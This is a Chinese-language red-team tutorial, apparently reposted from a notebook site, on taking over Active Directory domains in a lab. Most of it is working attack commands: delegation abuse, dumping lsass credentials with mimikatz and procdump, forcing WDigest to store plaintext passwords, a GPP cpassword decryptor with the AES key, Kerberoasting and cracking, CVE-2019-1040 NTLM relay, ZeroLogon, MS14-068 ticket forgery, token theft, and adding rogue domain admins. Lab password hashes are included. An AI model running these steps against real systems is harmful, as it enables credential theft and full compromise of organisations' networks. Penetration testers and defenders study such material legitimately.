1746684536670-d0dd89dc-25ec-426b-9f51-0293f7bba7c9.png

使用SharpAllowedToAct修改委派 工具下载 https://github.com/HPVCA/SharpAllowedToAct

SharpAllowedToAct.exe -m hack -p pass@123 -t 12server2 -a 10.10.10.142
redteam.club

1746684556672-9d332b64-d0ec-49c8-91e7-c6e632be09b8.png

获取服务票据

python3 getST.py -dc-ip 10.10.10.142 redteam/hack$:pass@123 -spn
cifs/12server2.redteam.club -impersonate administrator

1746684573555-f578bc0a-b3b8-403d-8725-9ce7bb5216d4.png

获取域普通主机权限

export KRB5CCNAME=administrator.ccache
python3 smbexec.py -no-pass -k 12server2.redteam.club

1746684594899-05d5c192-2856-4b30-95a3-88959310cbca.png

获取域控权限的方法

在域渗透中、作为渗透测试人员,获取域控的权限基本上可以获取整个内网的权限

高权限读取本地密码

当域管理员在域成员机器上登录进行工作的时候,会将明文密码保存在本地进行的lsass.exe,可以通过mimikatz来读取到本地的明文密码

privilege::debug # 提权
sekurlsa::logonpasswords
mimikatz "privilege::debug" "sekurlsa::logonpasswords" "exit" >log.txt

如果主机存在杀软的时候,上传mimikatz很多时候都会被杀掉,可以通过procdump+mimikatz的方式进行绕过。先导出lsass.exe

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

保存到本地,通过mimikatz读lsass.dmp的明文

mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

如果目标机器是windows server 2012,通过添加注册表,在通过锁屏,让管理员重新登录及可以读取明文。

添加注册表,设置UseLogonCredential设置为1

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v
UseLogonCredential /t REG_DWORD /d 1 /f

利用powershell脚本进行锁屏

Function Lock-WorkStation
{
$signature = @"
[DllImport("user32.dll", SetLastError = true)]
public static extern bool LockWorkStation();
"@
$LockWorkStation = Add-Type -memberDefinition $signature -name
"Win32LockWorkStation" -namespace Win32Functions -passthru
$LockWorkStation::LockWorkStation() | Out-Null
}
Lock-WorkStation

管理员重新登录后就可以抓取到明文密码了

1746685385022-1a903552-a978-45f4-afe8-0391784e8991.png

net use \10.10.10.137ipc$ "QWEasd123" /user:redteamadministrator
python3 wmiexec.py -hashes
00000000000000000000000000000000:42e2656ec24331269f82160ff5962387
administrator@10.10.10.137 "whoami"

1746685402460-b624fc6a-636a-473b-90e3-f2a041ebfcd9.png

SYSVOL组策略获取密码

在域环境中,有个默认的共享路径

\<DOMAIN>SYSVOL<DOMAIN>

SYSVOL是活动目录存储文件服务副本的共享文件夹,里面包含有登录脚本,组策略数据等,域里的所有用户都能访问这个共享文件。在SYSVOL目录下,默认是没有groups.xml文件的,必须创建组策略脚本登录才有这个文件。在groups.xml文件中,密码是通过AES-256加密的,但是微软发布了AES的私钥

1746685438503-e59446ca-5039-492c-be45-5021a63e7423.png

可以利用powershell解密密文

function Get-DecryptedCpassword {
[CmdletBinding()]
Param (
[string] $Cpassword
)
try {
#Append appropriate padding based on string length
$Mod = ($Cpassword.length % 4)
switch ($Mod) {
'1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)}
'2' {$Cpassword += ('=' * (4 - $Mod))}
'3' {$Cpassword += ('=' * (4 - $Mod))}
}
$Base64Decoded = [Convert]::FromBase64String($Cpassword)
#Create a new AES .NET Crypto Object
$AesObject = New-Object
System.Security.Cryptography.AesCryptoServiceProvider
[Byte[]] $AesKey =
@(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe
8,
0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b)
#Set IV to all nulls to prevent dynamic generation of IV value
$AesIV = New-Object Byte[]($AesObject.IV.Length)
$AesObject.IV = $AesIV
$AesObject.Key = $AesKey
$DecryptorObject = $AesObject.CreateDecryptor()
[Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded,
0, $Base64Decoded.length)
return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock)
}
catch {Write-Error $Error[0]}
}
Get-DecryptedCpassword "I0vK3Yj0SeoHQDxF5skcjt3BOkMZmX6IiqRVKCTo4Z4"

针对SYSOVL的防御

1.打补丁KB2962486

2.删除SYSVOL目录下的groups.xml

3.设置共享文件SYSVOL的权限

Kerberoasting

SPN为服务主体名称,是服务实列(MSSQL,HTTP等)的唯一标识,如果在林中安装服务的多个实列,每个实列都有自己的SPN,如果kerberos服务票证的加密类型为RC4_HMAC_MD5,就可以导出TGS对其进行离线破解,有可能获取到域用户的密码了。

原理

当域内某个用户去请求同域内的某个服务资源时,请求会首先被送达 KDS 的 AS 中进行身份认证,认证通过后 AS 会返回一个用用户密码 hash 加密的 TGT 给用户,然后用户再拿着 这个 TGT 向 TGS 去请求,TGS会返回一个用对应服务账号的密码 hash加密过(RC4_HMAC_MD5)的专门用于访问特定服务的服务票据回来,最后,用户只需拿这张服务票据去访问对应的服务资源即可,而问题就出在 TGS 返回服务票据,目标服务此时用的一个域账号来运行的,那么 TGS 在向用户返回服务票据时,用户就可以拿到这张服务票据中hash,由于 TGS 服务票据加密算法已知,尝试穷举口令,模拟加密过程,生成TGS进行比较。如果TGS相同,代表口令正确,就能获得目标服务实例的明文口令使用setspn查询spn(windows7和server2008默认自带)

查询域内所有的SPN和查询test域的SPN

setspn.exe -q */*
setspn.exe -T redteam.club -q */*

1746685546814-2f1be79e-8373-46ea-8401-5713e7f14689.png

以CN开头的为代表一个账号,机器账号为Computers,域用户账号为Users

查询域内注册的spn(kerberoast)

cscript GetUserSPNs.vbs

1746685567436-d1fa2204-8786-46a8-b619-543fef977b6b.png

PowerView

https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

Import-Module .PowerView.ps1
Get-NetUser -spn -AdminCount|Select name,whencreated,pwdlastset,lastlogon

给mySQL服务注册SPN

setspn -s mysql/12server4.redteam.club:3306 test

将kerberos的加密方式换成RC4_HMAC_MD5

1746685603318-4879bab1-46b3-4bae-88b8-610d519463c8.png

方法1.用mimikatz 脚本穷举

请求指定的TGS,完成之后klist就能查看相应的票据

Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -
ArgumentList "mysql/12server4.redteam.club:3306"

1746685631008-f46eaf7d-faa7-4471-839a-0a9099a4c0ad.png

mimikatz导出票据

kerberos::list /export

使用tgsrepcrack.py破解

python3 tgsrepcrack.py wordlist.txt mssql.kirbi

1746685660401-de6e52db-a78e-4f11-953f-da25d198292b.png

如果是域控用户注册的 可以得到域得明文密码

方法2 使用hashcat穷举

使用 System.IdentityModel.Tokens.KerberosRequestorSecurityToken 请求TGS,在返回结果中

提取出TGS,输出的TGS可选择John the Ripper或Hashcat进行破解。

实例演示:

在域内一台主机上以普通用户权限执行

Invoke-Kerberoast -OutputFormat Hashcat
Invoke-Kerberoast -OutputFormat Hashcat | Select hash | ConvertTo-CSV -
NoTypeInformation

输出结果如下图

1746685695088-43a801d2-d26e-4a2c-83ee-474fcb68b4a7.png

保存文件 使用hashcat对其穷举

hashcat -m 13100 hash /home/kali/Desktop/kerberoast-master/passwd.txt -o found.txt –force

密码 pass@123

内网协议NTLM之内网大杀器CVE-2019-1040漏洞

创建机器主机账号

python3 addcomputer.py -method SAMR -dc-ip 10.10.10.142 -computer-name moonsec -
computer-pass pass@123 "redteam.club/hack:pass@123"

1746685742382-dbbd760f-5cc1-4fca-aa68-46a8576c1559.png

中继&委派

执行ntlmrelayx.py脚本进行NTLM中继攻击,设置SMB服务器并将认证凭据中继到LDAP协议。其中–remove-mic选项用于清除MIC标志,–escalate-user用于提升指定用户权限

python3 ntlmrelayx.py -t ldap://10.10.10.142 -smb2support --remove-mic --
delegate-access --escalate-user moonsec$ -debug

域控有两台域控 10.10.10.142 主控 10.10.10.140是备份域控 10.10.10.139 是中继机子(kali)

python3 printerbug.py redteam.club/hack:pass@123@10.10.10.140 10.10.10.139

1746685776693-0833c46b-927e-4fd1-94e0-0ee18e704f6c.png

监听提升 修改委派

1746685790142-fb2600e2-edbe-44f3-99d1-21ecff8c0c8c.png

获取服务票据

python3 getST.py -dc-ip 10.10.10.142 redteam/moonsec$:pass@123 -spn
cifs/ad2.redteam.club -impersonate administrator

1746685803934-137ea835-d70a-4dcf-982a-d431f0d161c3.png

export KRB5CCNAME=administrator.ccache
vi /etc/resolv.conf

1746685811782-884ddb1b-ba58-4458-95a3-00ccb6536ab9.png

python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-user administrator
python3 secretsdump.py -k -no-pass ad2.redteam.club -just-dc-ntlm

导出域控哈希

1746685826719-e2be4595-a40c-4ee0-a267-42db90378d97.png

1746685831710-80021e43-fe44-4fec-9f1b-9aa6c15b55d6.png

python3 smbexec.py -no-pass -k ad2.redteam.club

1746685856739-efe6d5f9-ced0-4b10-8b02-1c0c7eec4e00.png

CVE-2020-1472-ZeroLogon

简介

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空

影响版本

Windows Server 2008 R2 for x64-based Systems Service Pack 1Windows Server 2008
R2 for x64-based Systems Service Pack 1 (Server Core installation) Windows Server
2012 Windows Server 2012 (Server Core installation) Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation) Windows Server 2016 Windows
Server 2016 (Server Core installation) Windows Server 2019 Windows Server 2019
(Server Core installation) Windows Server, version 1903 (Server Core
installation) Windows Server, version 1909 (Server Core installation) Windows
Server, version 2004 (Server Core installation)

使用zerologin脚本复现

python3 zerologon_tester.py ad01 10.10.10.1

1746685892597-168d5332-c25c-45fc-b316-b597e32679b5.png

漏洞利用

下载exp: git clone https://github.com/dirkjanm/CVE-2020-1472

置空DC的密码 python3 cve-2020-1472-exploit.py DC_NETBIOS_NAME DC_IP_ADDR

python3 cve-2020-1472-exploit.py ad01 10.10.10.137

1746685916881-e482a8df-1e68-406f-9a87-19f2996fe899.png

获取HASH

使用impacket包中的secretsdum.py来获取相关的HASh

python3 secretsdump.py DOMAIN/DC_NETBIOS_NAME$@DC_IP_ADDR -no-pass

python3 secretsdump.py redteam.club/ad01$@10.10.10.137 -no-pass

1746685935343-48733c97-1b4f-470a-98ef-6cab4ab7cf40.png

获取shell

获取HASH后,可以利用wmiexec.py登录,从而获取一个SHELL

python wmiexec.py -hashes <HASH> DOMAIN/DOMAIN_USER@DC_IP_ADDR
python3 wmiexec.py -hashesaad3b435b51404eeaad3b435b51404ee:42e2656ec24331269f82160ff5962387redteam.club/administrator@10.10.10.137

1746685968887-0a8282e2-b98b-4cdf-ad5d-80ba8bcbc18b.png

恢复原HASH

导出sam

reg save HKLMSYSTEM system.save
reg save HKLMSAM sam.save
reg save HKLMSECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit

获取hash

python3 secretsdump.py -sam sam.save -system system.save -security security.save
LOCAL

执行以下命令,获取SAM中原来的HASH

python3 reinstall_original_pw.py ad01 10.10.10.137
813f8ed1cab4b139a984ec6df5bff166c4370395c011194854c788172b5f09e8bc7d174505db585a
0f77689274f23c5c9cc827f9d027bf2b59b9fddfe213019c2702a50a5aca3d4f4f4cf318d01a5b29
3418aca75fedbffe5c3d16cf11c5b52216017f5cc961773e5efb1b8ab0db19104f29a972d9362897
a6bd93ba44d6366bed4f0ba5c9e0a315c65f0dfc63c5a3e718c810d95746d2622fb1b265c4bc43ff
83570f184672c6186044ae52d118991a3f6f67d16aecc6273a0ec229182d9de4a22afb6ec8a7a54a
ed9ac87eda6f688e6d357aa74e4d5328deaf09f5b81a41f6e2e123f12b8105db8d30b5a3c025aced

1746686013521-b6b7a763-47a0-4189-a992-36657bb88bf7.png

python3 secretsdump.py ad01.redteam.club/administrator@10.10.10.137 -hashes:42e2656ec24331269f82160ff5962387

1746686030546-6e435681-6f1e-4ed3-aea7-3e40089e1733.png

MS14-068漏洞进行提权

server2008有效 MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。

第一步:利用MS14-068伪造生成TGT

MS14-068.exe -u test@moonsec.fbi -p 123456 -s S-1-5-21-2801122135-3886333168-
273474972-1103 -d 08server-dc.moonsec.fbi

第二步:利用mimikatz将工具得到的TGT票据写入内存,创建缓存证书

kerberos::ptc TGT_test@moonsec.fbi.ccache

第三步:获取域管理员权限。创建一个 test 账号并加入域管理员组,从而随时可以登录域控主机进行操作

PsExec.exe \dc cmd.exe
// 添加test用户net user test abc123! /add /domain
// 把 test 用户添加进域管理员组net group "domain admins" test /add /domain
// 查看域管理员net group "domain admins" /domain

或者使用

python3 goldenPac.py -dc-ip 192.168.0.142 -target-ip 192.168.0.142
moonsec.fbi/test:123456@08server-dc.moonsec.fbi

窃取域管理员令牌

当有域控账户登陆至服务器时可使用令牌模拟进行渗透取得域控权限。

1、入侵域管理员所在的服务器,窃取域管理员的令牌,从而控制整个域。

2、直接在 meterpreter shell 上执行添加域管理员

add_user test abc123! -h 域控的IP地址
add_group_user "Domain Admins" test -h 域控IP地址

进程迁移

入侵了域管理员所登录的服务器,将进程迁移到域管理员所运行的进程,就可以获得域管理员权限。

1、获取域管理员列表

net group "Domain Admins" /domain

2、利用ps找到域管理员(TESTbypass)所运行的进程,然后将shell进程迁移到域管理员所运行的进程中,成功后就获得了域管理员权限。如下图所示:

3、输入shell命令获取OS shell,在本机上使用Windows命令添加新的域管理员:

// 添加test用户
net user test admin@123 /add /domain
// 把 test 用户添加进域管理员组
net group "domain admins" test /add /domain

更新: 2025-05-08 14:37:35
原文: https://www.yuque.com/yuhui.net/network/uogw7rv1dgu506t1



评论(0)

查看评论列表

暂无评论


发表评论

表情 颜文字

插入代码